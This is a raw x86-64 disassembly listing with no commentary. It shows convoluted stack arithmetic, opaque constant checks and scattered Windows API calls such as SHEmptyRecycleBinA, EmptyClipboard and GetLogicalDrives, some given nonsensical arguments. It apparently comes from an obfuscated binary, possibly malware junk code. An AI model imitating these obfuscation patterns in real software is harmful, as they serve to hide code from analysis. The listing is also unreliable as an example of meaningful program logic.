mov rax, qword [rsp + 0x5270]
movzx ecx, word [rax]
call fcn.1400de920
nop
mov rax, qword [rsp + 0x5278]
mov rcx, qword [rsp + 0x5198]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5228]
mov edx, dword [rsp + 0x2058]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jge 0x14000a33e
mov r8d, SHGetNewLinkInfoA
mov rdx, qword [rsp + 0x5400]
mov rcx, qword [rsp + 0x50a8]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
mov dword [rsp + 0x210c], eax
movsx eax, word [rsp + 0x83c]
movsx ecx, word [rsp + 0x830]
xor eax, ecx
mov word [rsp + 0x838], ax
mov rax, qword [rsp + 0x5380]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [str.VZl9]
shl rax, cl
mov rcx, qword [rsp + 0x53f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x53e8]
movzx edx, word [rax]
mov rcx, qword [rsp + 0x5060]
call fcn.1400dda10
nop
jmp 0x1400dc21d
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
mov dword [rsp + 0x214c], eax
cmp dword [rsp + 0x214c], 0xffffffd0
je 0x14000a35e
jmp 0x14000a477
lea rax, [rsp + 0x2124]
mov qword [rsp + 0x5408], rax
mov eax, dword [rsp + 0x212c]
movzx ecx, al
mov eax, dword [rsp + 0x20ac]
shr eax, cl
mov dword [rsp + 0x203c], eax
mov eax, dword [rsp + 0x1d70]
mov ecx, dword [rsp + 0x1d64]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53f8]
mov edx, dword [rsp + 0x20ac]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jne 0x14000a42a
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f54], eax
mov rax, qword [rsp + 0x50c0]
mov rcx, qword [rsp + 0x5088]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
lea rax, [rsp + 0x5290]
mov qword [rsp + 0x5410], rax
lea rax, [0x1400f8014]
mov qword [0x1400f8fb8], rax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
add eax, ecx
mov rcx, qword [rsp + 0x5218]
mov byte [rcx], al
mov rax, qword [rsp + 0x5268]
movzx eax, byte [rax]
mov byte [rsp + 0xeb], al
jmp 0x14000a472
mov eax, dword [rsp + 0x1fd4]
mov ecx, dword [rsp + 0x1fb0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5228]
mov rdx, qword [rsp + 0x5408]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jge 0x14000a472
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x838]
sub eax, ecx
mov word [rsp + 0x83c], ax
jmp 0x14000a661
movzx eax, byte [rsp + 0xeb]
mov rcx, qword [rsp + 0x5268]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x52d8]
mov byte [rcx], al
lea rcx, [rsp + 0x53c0]
call qword [sym.imp.USER32.dll_GetCursorInfo]
mov dword [rsp + 0x2144], eax
mov rax, qword [rsp + 0x5278]
mov ecx, dword [rsp + 0x1fd4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2058], eax
mov rax, qword [0x1400f8fb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x53e8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5270]
movzx ecx, word [rcx]
mov dword [rsp + 0x2150], ecx
movzx edx, word [rsp + 0x834]
movzx ecx, dl
mov edx, dword [rsp + 0x2150]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14000a61b
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
mov dword [rsp + 0x2154], eax
cmp dword [rsp + 0x2154], 0x2a89
je 0x14000a540
cmp dword [rsp + 0x2154], 0x7437
je 0x14000a5e1
jmp 0x14000a619
mov rax, qword [rsp + 0x5060]
mov rcx, qword [rsp + 0x5410]
mov qword [rsp + 0x5418], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5418]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x5168]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5380]
mov rcx, qword [rsp + 0x5170]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ce8], rax
mov ecx, reloc.SHELL32.dll_ILClone
call qword [sym.imp.USER32.dll_SetProcessDefaultLayout]
mov dword [rsp + 0x2068], eax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x212c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
and eax, ecx
mov byte [0x1400f8f92], al
jmp 0x14000a619
lea rax, [rsp + 0x16240]
mov qword [rsp + 0x20], rax
mov r9d, 0x64
lea r8, [rsp + 0x50b0]
lea rdx, [rsp + 0x5090]
lea rcx, [rsp + 0x16300]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x20a4], eax
jmp 0x14000a661
mov eax, dword [rsp + 0x2124]
mov ecx, dword [rsp + 0x1fd4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5278]
mov edx, dword [rsp + 0x2058]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jle 0x14000a661
mov rax, qword [rsp + 0x53e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x84c]
sub eax, ecx
mov word [rsp + 0x840], ax
lea rax, [rsp + 0x84c]
mov qword [rsp + 0x5420], rax
lea rax, [rsp + 0x838]
mov qword [rsp + 0x5428], rax
mov rax, qword [rsp + 0x5420]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x834]
sub eax, ecx
mov rcx, qword [rsp + 0x53e8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x5270]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x14000a724
mov rcx, qword [rsp + 0x50a0]
call qword [sym.imp.USER32.dll_SetForegroundWindow]
mov dword [rsp + 0x2158], eax
mov rax, qword [rsp + 0x52d8]
movzx eax, byte [rax]
movzx ecx, byte [0x1400f8005]
sub eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
mov rax, qword [rsp + 0x5170]
mov rcx, qword [rsp + 0x5088]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x50c0], rax
mov rax, qword [rsp + 0x5118]
mov r8, qword [rax]
movzx edx, word [rsp + 0x83c]
movzx ecx, word [rsp + 0x834]
call fcn.1400de040
nop
mov rax, qword [rsp + 0x50b8]
mov rcx, qword [rsp + 0x5060]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5290], rax
mov eax, dword [rsp + 0x20ac]
mov dword [rsp + 0x212c], eax
lea rcx, [rsp + 0x52a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x2124]
mov qword [rsp + 0x5430], rax
mov eax, dword [section..data]
mov dword [rsp + 0x215c], eax
cmp dword [rsp + 0x215c], 0
je 0x14000a78a
jmp 0x1400dc1bb
mov rax, qword [0x1400f8fa0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5200]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x20f4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2098], eax
lea rax, [rsp + 0xe5]
mov qword [rsp + 0x5438], rax
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
mov rcx, qword [0x1400f8fb8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x834], ax
mov rax, qword [rsp + 0x5068]
movzx eax, byte [rax]
mov byte [rsp + 0x2160], al
cmp byte [rsp + 0x2160], 0
je 0x14000a815
jmp 0x1400dc14b
mov rax, qword [rsp + 0x53d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5010]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5290], rax
movsx eax, byte [rsp + 0x79]
mov rcx, qword [rsp + 0x5178]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0xe5]
movsx edx, byte [rsp + 0xe7]
sub ecx, edx
cmp eax, ecx
jge 0x14000a8d2
movsx eax, word [rsp + 0x830]
movsx ecx, word [rsp + 0x83c]
add eax, ecx
mov word [0x1400f8f90], ax
movzx eax, word [rsp + 0x834]
movzx ecx, word [rsp + 0x84c]
add eax, ecx
mov rcx, qword [rsp + 0x53e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5218]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
or eax, ecx
mov byte [rsp + 0xe7], al
lea r8, [rsp + 0x1c330]
mov dx, ILGetSize
mov cx, 0x2d
call qword [sym.imp.ole32.dll_CoDosDateTimeToFileTime]
mov dword [rsp + 0x1f68], eax
jmp 0x1400dc0cd
movzx eax, byte [rsp + 0xe5]
mov byte [rsp + 0xec], al
movzx eax, byte [rsp + 0xec]
mov byte [rsp + 0x2164], al
cmp byte [rsp + 0x2164], 0x11
je 0x14000a90d
cmp byte [rsp + 0x2164], 0x70
je 0x14000aa1c
jmp 0x14000aace
mov rax, qword [rsp + 0x5408]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1fd4]
sar eax, cl
mov rcx, qword [rsp + 0x5150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5010]
mov rcx, qword [rsp + 0x5350]
mov qword [rsp + 0x5440], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5440]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5290], rax
mov rax, qword [rsp + 0x5220]
mov rcx, qword [rsp + 0x53f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x50c0]
imul rcx, qword [rsp + 0x51a8]
cmp rax, rcx
jle 0x14000aa01
movzx eax, byte [rsp + 0x79]
mov byte [rsp + 0x2168], al
cmp byte [rsp + 0x2168], 0x29
je 0x14000a9de
cmp byte [rsp + 0x2168], 0x67
je 0x14000a9af
jmp 0x14000a9ff
lea rcx, [rsp + 0x5448]
call qword [sym.imp.ole32.dll_CoGetCurrentLogicalThreadId]
mov dword [rsp + 0x210c], eax
mov rdx, qword [str.VZl9]
mov rax, qword [rsp + 0x53f0]
mov rcx, qword [rax]
call fcn.1400dddf0
nop
jmp 0x14000a9ff
mov rax, qword [rsp + 0x5220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x50c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
jmp 0x14000aa17
lea rcx, [rsp + 0x16280]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderA]
mov qword [rsp + 0x5390], rax
jmp 0x14000aace
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53f8]
mov dword [rcx], eax
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
mov dword [rsp + 0x216c], eax
cmp dword [rsp + 0x216c], 0x371e
je 0x14000aaaf
cmp dword [rsp + 0x216c], 0x7abe
je 0x14000aa68
jmp 0x14000aace
movsx eax, word [rsp + 0x838]
movsx ecx, word [rsp + 0x83c]
add eax, ecx
mov word [rsp + 0x830], ax
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov dword [rsp + 0x2170], eax
mov rax, qword [rsp + 0x5178]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5438]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1400f8f92], al
jmp 0x14000aace
movzx eax, byte [rsp + 0xe8]
mov rcx, qword [rsp + 0x5268]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x20cc], eax
movzx eax, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0x5200]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5268]
mov byte [rcx], al
mov rax, qword [rsp + 0x5158]
mov eax, dword [rax]
mov dword [rsp + 0x2174], eax
cmp dword [rsp + 0x2174], 0xef1714de
je 0x14000ab1a
jmp 0x14000ab40
mov rax, qword [rsp + 0x5118]
mov r8, qword [rax]
movzx edx, word [rsp + 0x83c]
movzx ecx, word [rsp + 0x834]
call fcn.1400de040
nop
jmp 0x1400dc07a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50c8], rax
mov rax, qword [rsp + 0x5228]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1fb0]
shl eax, cl
mov ecx, dword [rsp + 0x1fd4]
mov rdx, qword [rsp + 0x5150]
mov edx, dword [rdx]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x1400dbf69
mov eax, dword [0x1400f8010]
mov dword [rsp + 0x2178], eax
cmp dword [rsp + 0x2178], 0
je 0x14000ab9d
jmp 0x14000ac6a
mov rax, qword [rsp + 0x5428]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x830]
add eax, ecx
mov word [0x1400f8020], ax
mov rax, qword [rsp + 0x53d8]
mov eax, dword [rax]
mov dword [rsp + 0x217c], eax
cmp dword [rsp + 0x217c], 0xa64a815c
je 0x14000abdc
jmp 0x14000ac68
mov rax, qword [rsp + 0x5428]
movsx eax, word [rax]
mov dword [rsp + 0x2180], eax
cmp dword [rsp + 0x2180], 0xbb9
je 0x14000abfd
jmp 0x14000ac1f
mov rax, qword [rsp + 0x5420]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x53e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x840], ax
jmp 0x14000ac68
jmp 0x14000ac86
mov rax, qword [0x1400f8fb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
sub eax, ecx
mov word [rsp + 0x834], ax
mov rax, qword [rsp + 0x5198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2058]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5278]
mov rdx, qword [rsp + 0x5228]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jl 0x1400dbe90
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x50e0], rax
lea rax, [rsp + 0x5060]
mov qword [rsp + 0x5458], rax
mov rax, qword [rsp + 0x53f0]
mov rax, qword [rax]
cqo
mov rcx, qword [rsp + 0x5170]
idiv qword [rcx]
mov qword [rsp + 0x51a8], rax
mov rax, qword [rsp + 0x5408]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fa0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5198]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5420]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x828]
sub eax, ecx
mov word [0x1400f8024], ax
mov rax, qword [rsp + 0x5350]
mov rax, qword [rax]
mov qword [rsp + 0x5460], rax
cmp qword [rsp + 0x5460], 0
je 0x14000ad6d
mov rax, qword [rsp + 0x5010]
mov rcx, qword [rsp + 0x5290]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5118]
mov rdx, qword [rsp + 0x5168]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jbe 0x1400dbefa
mov rax, qword [rsp + 0x5420]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5270]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x53e8]
movzx ecx, word [rcx]
mov rdx, qword [0x1400f8fb8]
movzx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
jle 0x1400dc044
lea rdx, [rsp + 0x5078]
mov rcx, qword [rsp + 0x12880]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [rsp + 0x203c], eax
mov rax, qword [rsp + 0x5428]
movsx eax, word [rax]
mov dword [rsp + 0x4af8], eax
cmp dword [rsp + 0x4af8], 0x5ead
je 0x1400dbfdd
jmp 0x1400dc022
mov rax, qword [rsp + 0x5168]
mov rcx, qword [rsp + 0x5060]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x50b8], rax
mov r9d, dword [rsp + 0x2124]
mov r8, qword [rsp + 0x50b8]
movzx edx, byte [0x1400f8f92]
mov rcx, qword [rsp + 0x5010]
call fcn.1400ddd30
nop
jmp 0x1400dc044
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5200]
mov byte [rcx], al
mov rax, qword [rsp + 0x5198]
mov ecx, dword [rsp + 0x1fb0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1fd4], eax
mov eax, dword [rsp + 0x212c]
mov ecx, dword [rsp + 0x1d64]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53d8]
mov dword [rcx], eax
lea rcx, [rsp + 0x5560]
call qword [sym.imp.ole32.dll_CoEnableCallCancellation]
mov dword [rsp + 0x20a4], eax
movsx eax, word [rsp + 0x838]
movsx ecx, word [rsp + 0x830]
sub eax, ecx
mov word [rsp + 0x83c], ax
mov rax, qword [rsp + 0x5380]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ce8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5220]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5220]
mov rcx, qword [rsp + 0x50c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x51a8], rax
movzx eax, byte [rsp + 0xe9]
mov byte [rsp + 0x4afc], al
cmp byte [rsp + 0x4afc], 9
je 0x1400dc106
jmp 0x1400dc108
jmp 0x1400dc12a
mov r8d, 0xa8
lea rdx, [fcn.1400de040]
mov rcx, qword [rsp + 0x54a0]
call qword [sym.imp.USER32.dll_EnumPropsExA]
mov dword [rsp + 0x1fa0], eax
movzx eax, byte [rsp + 0xe8]
mov rcx, qword [rsp + 0x5268]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x52d8]
mov byte [rcx], al
jmp 0x1400dc183
mov rax, qword [rsp + 0x53e8]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
movzx r9d, word [rsp + 0x834]
movzx r8d, byte [rsp + 0xea]
mov rdx, qword [rsp + 0x51a8]
movzx ecx, word [rsp + 0x834]
call fcn.1400de920
nop
mov eax, dword [rsp + 0x1f5c]
mov ecx, dword [rsp + 0x20ac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x212c], eax
mov eax, dword [rsp + 0x1fd4]
movzx ecx, al
mov eax, dword [rsp + 0x1fa0]
sar eax, cl
mov rcx, qword [rsp + 0x5150]
mov dword [rcx], eax
jmp 0x1400dc1e1
mov r8, qword [rsp + 0x5308]
mov rdx, qword [rsp + 0x5450]
mov rcx, qword [rsp + 0x5248]
call qword [sym.imp.SHELL32.dll_FindExecutableA]
mov qword [rsp + 0x5310], rax
call qword [sym.imp.ole32.dll_CoUninitialize]
movsx eax, word [rsp + 0x838]
movsx ecx, word [rsp + 0x830]
add eax, ecx
mov word [rsp + 0x83c], ax
movzx eax, word [rsp + 0x834]
movzx ecx, word [rsp + 0x840]
sub eax, ecx
mov rcx, qword [0x1400f8fb8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0x5218]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5238]
mov byte [rcx], al
mov rdx, qword [rsp + 0x12888]
lea rcx, [rsp + 0x5390]
call qword [sym.imp.USER32.dll_PtInRect]
mov dword [rsp + 0x1f68], eax
mov rdx, qword [rsp + 0x50c0]
mov rax, qword [rsp + 0x5380]
mov rcx, qword [rax]
call fcn.1400dddf0
nop
lea rdx, [rsp + 0x5010]
mov rcx, qword [rsp + 0x5448]
call qword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [rsp + 0x21fc], eax
jmp 0x1400dc317
xor r8d, r8d
lea rdx, [rsp + 0x5090]
lea rcx, [rsp + 0xe7]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x2184], eax
mov rax, qword [rsp + 0x5200]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x5270]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x50f0]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x5170]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x5270]
movzx ecx, word [rax]
call fcn.1400de920
nop
mov eax, dword [rsp + 0x1fb0]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x5228]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x5198]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x5278]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x1fb0]
call fcn.1400de340
nop
mov rax, qword [rsp + 0x5168]
mov r8, qword [rax]
movzx edx, word [rsp + 0x830]
movzx ecx, word [rsp + 0x834]
call fcn.1400de040
nop
jmp 0x1400dc4c0
mov rax, qword [rsp + 0x52e8]
mov rax, qword [rax]
mov rcx, qword [0x1400f8f98]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5168]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x5290]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x1400dc4c0
movzx eax, byte [rsp + 0x79]
mov byte [rsp + 0x4b00], al
cmp byte [rsp + 0x4b00], 0x3d
je 0x1400dc3ca
jmp 0x1400dc4a2
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
add eax, ecx
movzx ecx, word [rsp + 0x840]
movzx edx, word [rsp + 0x84c]
sub ecx, edx
cmp eax, ecx
jge 0x1400dc452
movsx eax, word [rsp + 0x83c]
movsx ecx, word [rsp + 0x830]
and eax, ecx
mov word [rsp + 0x838], ax
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x834]
xor eax, ecx
mov rcx, qword [rsp + 0x5270]
mov word [rcx], ax
mov r8d, 1
lea rdx, [rsp + 0x5560]
lea rcx, [rsp + 0x53b0]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x2034], eax
mov rax, qword [rsp + 0x5088]
movzx ecx, al
mov rax, qword [rsp + 0x51a8]
sar rax, cl
mov qword [rsp + 0x4ce8], rax
mov eax, dword [rsp + 0x203c]
mov rcx, qword [rsp + 0x5158]
mov qword [rsp + 0x12890], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12890]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
jmp 0x1400dc4c0
mov rax, qword [rsp + 0x5060]
mov rcx, qword [rsp + 0x5010]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5290], rax
mov rax, qword [rsp + 0x5270]
movzx edx, word [rax]
mov rcx, qword [rsp + 0x5010]
call fcn.1400dda10
nop
jmp 0x1400dc545
lea rdx, [rsp + 0x21fa0]
mov ecx, 0xa2
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
mov dword [rsp + 0x2184], eax
mov rax, qword [rsp + 0x5060]
mov rcx, qword [rsp + 0x52e8]
mov qword [rsp + 0x12898], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5290], rax
mov rax, qword [rsp + 0x5228]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fa0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5208]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5178]
movsx ecx, byte [rcx]
and eax, ecx
movsx ecx, byte [0x1400f8f92]
mov rdx, qword [rsp + 0x5128]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jge 0x1400dc65a
mov eax, dword [rsp + 0x1fa0]
mov dword [rsp + 0x4b04], eax
cmp dword [rsp + 0x4b04], 0x532b9ad1
je 0x1400dc636
cmp dword [rsp + 0x4b04], 0x7eba30bb
je 0x1400dc5aa
jmp 0x1400dc65a
mov dword [rsp + 0x20], 0xe3
lea r9, [rsp + 0x21ab0]
lea r8, [rsp + 0x163a0]
mov edx, 0x79
mov rcx, qword [rsp + 0x51d0]
call qword [sym.imp.SHELL32.dll_ExtractIconExA]
mov dword [rsp + 0x1d70], eax
mov eax, dword [rsp + 0x1f5c]
movzx ecx, al
mov eax, dword [rsp + 0x203c]
shr eax, cl
mov dword [rsp + 0x1d70], eax
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
movzx r9d, word [rsp + 0x834]
mov rax, qword [rsp + 0x5268]
movzx r8d, byte [rax]
mov rdx, qword [rsp + 0x5088]
mov rax, qword [rsp + 0x5270]
movzx ecx, word [rax]
call fcn.1400de920
nop
jmp 0x1400dc65a
mov rax, qword [rsp + 0x5170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x50c0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5220]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5158]
mov ecx, dword [rsp + 0x1f5c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5080]
mov edx, dword [0x1400f8010]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
ja 0x1400dc6a1
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x830]
sub eax, ecx
mov rcx, qword [0x1400f8fa8]
mov word [rcx], ax
lea rcx, [rsp + 0x5090]
call qword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [rsp + 0x2064], eax
mov rax, qword [rsp + 0x5220]
mov rax, qword [rax]
mov qword [rsp + 0x128a0], rax
movabs rax, 0x537995ba0ed3f958
cmp qword [rsp + 0x128a0], rax
je 0x1400dc6df
jmp 0x1400dc6fc
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [0x1400f8fa0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe6], al
jmp 0x1400dc73a
movzx eax, word [rsp + 0x848]
mov word [rsp + 0x20], ax
movzx r9d, word [rsp + 0x82c]
mov rax, qword [rsp + 0x52d8]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x5170]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x5270]
movzx ecx, word [rax]
call fcn.1400de920
nop
jmp 0x1400dc814
movsx eax, byte [0x1400f8f92]
mov rcx, qword [rsp + 0x5238]
movsx ecx, byte [rcx]
xor eax, ecx
movsx ecx, byte [rsp + 0xe5]
mov rdx, qword [rsp + 0x5128]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jge 0x1400dc814
mov rax, qword [rsp + 0x5168]
mov rcx, qword [rsp + 0x50e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x50b8], rax
mov rax, qword [rsp + 0x5270]
movzx eax, word [rax]
mov dword [rsp + 0x4b08], eax
cmp dword [rsp + 0x4b08], 0x52e
je 0x1400dc7bf
cmp dword [rsp + 0x4b08], 0x7e9
je 0x1400dc7f6
jmp 0x1400dc814
mov rax, qword [rsp + 0x5278]
mov ecx, dword [rsp + 0x1fb0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5278]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5270]
movzx edx, word [rax]
mov rcx, qword [0x1400f8f98]
call fcn.1400dda10
nop
jmp 0x1400dc814
mov rax, qword [rsp + 0x50c0]
mov rcx, qword [rsp + 0x4ce8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x51a8], rax
mov rax, qword [0x1400f8fa0]
movzx eax, byte [rax]
mov byte [rsp + 0x4b0c], al
cmp byte [rsp + 0x4b0c], 0x16
je 0x1400dc831
jmp 0x1400dc86e
movsx eax, word [rsp + 0x838]
movsx ecx, word [rsp + 0x830]
add eax, ecx
mov word [rsp + 0x83c], ax
mov rax, qword [rsp + 0x5268]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5200]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1400f8fa0]
mov byte [rcx], al
jmp 0x1400dc88b
lea rdx, [rsp + 0x1fb0]
lea rcx, [rsp + 0x51d0]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x1fb4], eax
jmp 0x1400dc979
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
mov dword [rsp + 0x4b10], eax
cmp dword [rsp + 0x4b10], 0x62b7
je 0x1400dc8b2
jmp 0x1400dc8ce
mov rax, qword [rsp + 0x5208]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
xor eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov rax, qword [rsp + 0x5158]
